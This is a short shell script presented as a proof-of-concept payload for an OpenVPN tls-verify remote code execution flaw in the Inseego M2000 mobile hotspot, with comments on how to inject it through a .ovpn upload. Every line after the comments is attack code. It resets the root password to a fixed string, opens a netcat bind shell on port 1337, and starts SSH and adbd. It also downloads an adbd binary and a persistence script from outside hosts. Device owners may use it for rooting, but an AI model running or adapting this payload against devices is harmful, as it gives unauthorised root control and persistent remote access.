inseego_m2000–exploit-payload.sh

#!/bin/sh

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/opt/nvtl/bin:/opt/nvtl/data/branding/bin

## PoC Exploit payload for the Open VPN implementation RCE on Inseego M2000 (Novatel)
# Append the following to .opvn to be uploaded to the Inseego m2000, full paths must be used
#
#     tls-verify "/path/to/bin/executable"
#
# ^ That's 5 spaces or a <TAB> ^
#
# Huge thanks to WetFart1337@XDA for sharing initial exploit details!
#
# https://xdaforums.com/t/inseego-m3200-firmware-dump-and-port-open.4711646/
#
##

NEW_PASSWORD="Abcd12345!"
echo -e "$NEW_PASSWORD\n$NEW_PASSWORD" | passwd root

cp /tmp/payload.sh /data/payload.sh

/bin/killall nc

/bin/nc -l -p 1337 -e /bin/sh &

/etc/init.d/dropbear start

/sbin/usb_composition 9085

if ! [ -e /sbin/adbd ]; then

  /usr/bin/curl --output /sbin/adbd https://filebin.net/aiaqzdxk6twx04m1/adbd
  chmod +x /sbin/adbd

fi

/bin/killall -9 adbd

/sbin/adbd &

/bin/busybox true

/usr/bin/curl --output /tmp/persistence.sh https://gist.githubusercontent.com/Geofferey/0b1ec30063824e4a5573c9639e98ff99/raw/bf1a355d414e4df2ffe0d3c4b0dc02102bc30f7f/inseego_m2000-peristence.sh
/usr/bin/curl --output /opt/nvtl/etc/usb/config.xml https://gist.githubusercontent.com/Geofferey/2001dbac2b8d286e57662851be71100b/raw/6248ff1fc4ca4621cfc53c6516a2ecb662e6a5c0/inseego_usb_config.xml

exit 0